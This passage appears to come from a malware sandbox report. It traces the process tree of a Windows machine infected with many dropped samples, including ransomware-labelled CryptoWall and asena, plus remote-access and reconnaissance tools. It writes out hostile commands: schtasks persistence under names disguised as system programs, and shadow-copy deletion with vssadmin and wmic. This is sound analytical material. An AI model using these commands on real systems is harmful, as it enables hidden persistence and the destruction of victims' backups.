        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5108
  - - C:\Users\Admin\AppData\Local\Temp\Files\RuntimeBroker.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\RuntimeBroker.exe"
      4⤵
      Drops file in System32 directory
      PID:8628
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Windows\system32\a7\RuntimeBroker.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1600
    - - C:\Windows\system32\a7\RuntimeBroker.exe
        
        "C:\Windows\system32\a7\RuntimeBroker.exe"
        5⤵
        Drops file in System32 directory
        Suspicious use of SetWindowsHookEx
        
        PID:5336
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Windows\system32\a7\RuntimeBroker.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8276
  - - C:\Users\Admin\AppData\Local\Temp\Files\installer.exe.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\installer.exe.exe"
      4⤵
      PID:7664
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "svhost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3568
    - - C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
        
        "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:7252
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "svhost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7912
  - - C:\Users\Admin\AppData\Local\Temp\Files\SharpHound.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\SharpHound.exe"
      4⤵
      PID:8536
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:8456
  - - C:\Users\Admin\AppData\Local\Temp\Files\%E5%9B%9B%E6%96%B9%E5%B9%B3%E5%8F%B0-%E5%8D%A1%E5%95%86%E7%AB%AF.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\%E5%9B%9B%E6%96%B9%E5%B9%B3%E5%8F%B0-%E5%8D%A1%E5%95%86%E7%AB%AF.exe"
      4⤵
      PID:2536
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://sms-szfang.com/register
        5⤵
        
        PID:2848
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ff836a93cb8,0x7ff836a93cc8,0x7ff836a93cd8
        6⤵
        
        PID:7492
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://sms-szfang.com/register
        5⤵
        
        PID:4428
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ff836a93cb8,0x7ff836a93cc8,0x7ff836a93cd8
        6⤵
        
        PID:9060
  - - C:\Users\Admin\AppData\Local\Temp\Files\3601_2042.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\3601_2042.exe"
      4⤵
      PID:1676
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
        5⤵
        
        PID:1572
  - - C:\Users\Admin\AppData\Local\Temp\Files\Invoice4231284.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Invoice4231284.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2140
    - - C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\e89d9b3b19f1f9d9\ScreenConnect.ClientSetup.msi"
        5⤵
        
        PID:7844
  - - C:\Users\Admin\AppData\Local\Temp\Files\mtQ.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\mtQ.exe"
      4⤵
      PID:9020
  - - C:\Users\Admin\AppData\Local\Temp\Files\beacon.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\beacon.exe"
      4⤵
      PID:8292
  - - C:\Users\Admin\AppData\Local\Temp\Files\spectrum.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\spectrum.exe"
      4⤵
      PID:2836
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Java Updater" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Files\spectrum.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8552
    - - C:\Users\Admin\AppData\Roaming\SubDir\Java Updater.exe
        
        "C:\Users\Admin\AppData\Roaming\SubDir\Java Updater.exe"
        5⤵
        
        PID:9080
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "Java Updater" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Java Updater.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8928
  - - C:\Users\Admin\AppData\Local\Temp\Files\adm_atu.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\adm_atu.exe"
      4⤵
      PID:9936
  - - C:\Users\Admin\AppData\Local\Temp\Files\silk.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\silk.exe"
      4⤵
      PID:7912
    - - C:\Users\Admin\AppData\Local\Temp\is-C7S8O.tmp\silk.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-C7S8O.tmp\silk.tmp" /SL5="$D050A,3436849,56832,C:\Users\Admin\AppData\Local\Temp\Files\silk.exe"
        5⤵
        
        PID:8116
      - C:\Users\Admin\AppData\Local\Smart File Defrag 7.1.2\smartfiledefrag712.exe
        
        "C:\Users\Admin\AppData\Local\Smart File Defrag 7.1.2\smartfiledefrag712.exe" -i
        6⤵
        
        PID:6184
  - - C:\Users\Admin\AppData\Local\Temp\Files\ApertureLab.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\ApertureLab.exe"
      4⤵
      PID:9776
    - - C:\Users\Admin\AppData\Roaming\updtewinsup221\client32.exe
        
        "C:\Users\Admin\AppData\Roaming\updtewinsup221\client32.exe"
        5⤵
        
        PID:7924
  - - C:\Users\Admin\AppData\Local\Temp\Files\DiscordSpotifyBypass.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\DiscordSpotifyBypass.exe"
      4⤵
      PID:7776
    - - C:\Users\Admin\AppData\Local\Temp\onefile_7776_133855170036598254\DiscordSpotifyBypass.exe
        
        C:\Users\Admin\AppData\Local\Temp\Files\DiscordSpotifyBypass.exe
        5⤵
        
        PID:10232
  - - C:\Users\Admin\AppData\Local\Temp\Files\client.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\client.exe"
      4⤵
      PID:7396
    - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ClientRun.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ClientRun.exe
        5⤵
        
        PID:6952
      - C:\Program Files (x86)\seetrol\client\SeetrolClient.exe
        
        "C:\Program Files (x86)\seetrol\client\SeetrolClient.exe"
        6⤵
        
        PID:9268
        
        C:\Windows\SysWOW64\ipconfig.exe
        
        "C:\Windows\System32\ipconfig.exe" /flushdns
        7⤵
        Gathers network information
        
        PID:9132
  - - C:\Users\Admin\AppData\Local\Temp\Files\windows.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\windows.exe"
      4⤵
      PID:8052
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "system" /tr '"C:\Users\Admin\AppData\Roaming\system.exe"' & exit
        5⤵
        
        PID:9448
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "system" /tr '"C:\Users\Admin\AppData\Roaming\system.exe"'
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4144
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1E6.tmp.bat""
        5⤵
        
        PID:9024
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:8776
      - C:\Users\Admin\AppData\Roaming\system.exe
        
        "C:\Users\Admin\AppData\Roaming\system.exe"
        6⤵
        
        PID:2704
  - - C:\Users\Admin\AppData\Local\Temp\Files\Loader.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Loader.exe"
      4⤵
      PID:8016
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows Defender" /tr '"C:\Users\Admin\AppData\Roaming\Windows Defender.exe"' & exit
        5⤵
        
        PID:6460
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Windows Defender" /tr '"C:\Users\Admin\AppData\Roaming\Windows Defender.exe"'
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9832
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpFC78.tmp.bat""
        5⤵
        
        PID:9708
      - C:\Windows\system32\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:560
      - C:\Users\Admin\AppData\Roaming\Windows Defender.exe
        
        "C:\Users\Admin\AppData\Roaming\Windows Defender.exe"
        6⤵
        
        PID:7944
  - - C:\Users\Admin\AppData\Local\Temp\Files\diskutil.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\diskutil.exe"
      4⤵
      PID:9912
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "diskutil" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\diskutil\diskutil.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9376
    - - C:\Users\Admin\AppData\Roaming\diskutil\diskutil.exe
        
        "C:\Users\Admin\AppData\Roaming\diskutil\diskutil.exe"
        5⤵
        
        PID:10004
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "diskutil" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\diskutil\diskutil.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9836
  - - C:\Users\Admin\AppData\Local\Temp\Files\2klz.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\2klz.exe"
      4⤵
      PID:7688
- - C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
    "C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2744
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2744 -s 828
      4⤵
      Program crash
      PID:1960
- - C:\Users\Admin\AppData\Local\Temp\asena.exe
    "C:\Users\Admin\AppData\Local\Temp\asena.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Enumerates connected drives
    - Writes to the Master Boot Record (MBR)
    - Drops file in Program Files directory
    - Checks SCSI registry key(s)
    - Suspicious use of WriteProcessMemory
    PID:1204
  - - C:\Windows\System32\Wbem\wmic.exe
      wmic.exe shadowcopy delete
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1960
  - - C:\Windows\SYSTEM32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:4616
  - - C:\Windows\SysWOW64\notepad.exe
      C:\Users\Public\Documents\RGNR_C33AEB1B.txt
      4⤵
      System Location Discovery: System Language Discovery
      Opens file in notepad (likely ransom note)
      PID:6984
- - C:\Users\Admin\AppData\Local\Temp\Bomb.exe
    "C:\Users\Admin\AppData\Local\Temp\Bomb.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1216
  - - C:\Users\Admin\AppData\Local\Temp\25.exe
      "C:\Users\Admin\AppData\Local\Temp\25.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:776
  - - C:\Users\Admin\AppData\Local\Temp\24.exe
      "C:\Users\Admin\AppData\Local\Temp\24.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1164
  - - C:\Users\Admin\AppData\Local\Temp\23.exe
      "C:\Users\Admin\AppData\Local\Temp\23.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1912
  - - C:\Users\Admin\AppData\Local\Temp\22.exe
      "C:\Users\Admin\AppData\Local\Temp\22.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4496
  - - C:\Users\Admin\AppData\Local\Temp\21.exe
      "C:\Users\Admin\AppData\Local\Temp\21.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:236
  - - C:\Users\Admin\AppData\Local\Temp\20.exe
      "C:\Users\Admin\AppData\Local\Temp\20.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2536
  - - C:\Users\Admin\AppData\Local\Temp\19.exe
      "C:\Users\Admin\AppData\Local\Temp\19.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4560
  - - C:\Users\Admin\AppData\Local\Temp\18.exe
      "C:\Users\Admin\AppData\Local\Temp\18.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3160
  - - C:\Users\Admin\AppData\Local\Temp\17.exe
      "C:\Users\Admin\AppData\Local\Temp\17.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3716
  - - C:\Users\Admin\AppData\Local\Temp\16.exe
      "C:\Users\Admin\AppData\Local\Temp\16.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4248
  - - C:\Users\Admin\AppData\Local\Temp\15.exe
      "C:\Users\Admin\AppData\Local\Temp\15.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3240
  - - C:\Users\Admin\AppData\Local\Temp\14.exe
      "C:\Users\Admin\AppData\Local\Temp\14.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4080
  - - C:\Users\Admin\AppData\Local\Temp\13.exe
      "C:\Users\Admin\AppData\Local\Temp\13.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3932
  - - C:\Users\Admin\AppData\Local\Temp\12.exe
      "C:\Users\Admin\AppData\Local\Temp\12.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3584
  - - C:\Users\Admin\AppData\Local\Temp\11.exe
      "C:\Users\Admin\AppData\Local\Temp\11.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1536
  - - C:\Users\Admin\AppData\Local\Temp\10.exe
      "C:\Users\Admin\AppData\Local\Temp\10.exe"
      4⤵
      Executes dropped EXE
      PID:3920
  - - C:\Users\Admin\AppData\Local\Temp\9.exe
      "C:\Users\Admin\AppData\Local\Temp\9.exe"
      4⤵
      Executes dropped EXE
      PID:3180
  - - C:\Users\Admin\AppData\Local\Temp\8.exe
      "C:\Users\Admin\AppData\Local\Temp\8.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2960
  - - C:\Users\Admin\AppData\Local\Temp\7.exe
      "C:\Users\Admin\AppData\Local\Temp\7.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:5132
  - - C:\Users\Admin\AppData\Local\Temp\6.exe
      "C:\Users\Admin\AppData\Local\Temp\6.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:5328
  - - C:\Users\Admin\AppData\Local\Temp\5.exe
      "C:\Users\Admin\AppData\Local\Temp\5.exe"
      4⤵
      Executes dropped EXE
      PID:5384
  - - C:\Users\Admin\AppData\Local\Temp\4.exe
      "C:\Users\Admin\AppData\Local\Temp\4.exe"
      4⤵
      Executes dropped EXE
      PID:5440
  - - C:\Users\Admin\AppData\Local\Temp\3.exe
      "C:\Users\Admin\AppData\Local\Temp\3.exe"
      4⤵
      Executes dropped EXE
      PID:5504
  - - C:\Users\Admin\AppData\Local\Temp\2.exe
      "C:\Users\Admin\AppData\Local\Temp\2.exe"
      4⤵
      Executes dropped EXE
      PID:5556
  - - C:\Users\Admin\AppData\Local\Temp\1.exe
      "C:\Users\Admin\AppData\Local\Temp\1.exe"
      4⤵
      Executes dropped EXE
      PID:5608
- - C:\Users\Admin\AppData\Local\Temp\CryptoWall.exe
    "C:\Users\Admin\AppData\Local\Temp\CryptoWall.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:2272
  - - C:\Windows\SysWOW64\explorer.exe
      "C:\Windows\syswow64\explorer.exe"
      4⤵
      Drops startup file
      Adds Run key to start application
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:2060
    - - C:\Windows\SysWOW64\svchost.exe
        
        -k netsvcs
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4484
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:5856
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff8462fcc40,0x7ff8462fcc4c,0x7ff8462fcc58
    3⤵
    PID:6964
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1824,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1808 /prefetch:2
    3⤵
    PID:5136
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2060,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2128 /prefetch:3
    3⤵
    - Downloads MZ/PE file
    PID:5512
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2204,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2180 /prefetch:8
    3⤵
    PID:4864
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3096,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3240 /prefetch:1
    3⤵
    PID:5024
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3172,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3292 /prefetch:1
    3⤵
    PID:5876
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4452,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4480 /prefetch:1
    3⤵
    PID:4120
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3536,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4620 /prefetch:8
    3⤵
    PID:7104
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4732,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4728 /prefetch:8
    3⤵
    PID:2640
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=4424,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4408 /prefetch:1
    3⤵
    PID:944
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5256,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5292 /prefetch:8
    3⤵
    PID:3180
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4820,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5296 /prefetch:8
    3⤵
    PID:7112
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=5296,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4836 /prefetch:1
    3⤵
    PID:5792
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5040,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4336 /prefetch:8
    3⤵
    PID:304
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5244,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5192 /prefetch:8
    3⤵
    PID:7116
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4716,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4340 /prefetch:8
    3⤵
    PID:6288
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4756,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5408 /prefetch:8
    3⤵
    PID:6640
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=5716,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5628 /prefetch:2
    3⤵
    PID:576
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=6000,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5548 /prefetch:8
    3⤵
    PID:396
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=6008,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6052 /prefetch:8
    3⤵
    PID:6704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5784,i,16427065480402095612,8476128969201405955,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6088 /prefetch:8
    3⤵
    - Subvert Trust Controls: Mark-of-the-Web Bypass
    - NTFS ADS
    PID:6856
- - C:\Program Files\Google\Chrome\Application\chrome.exe
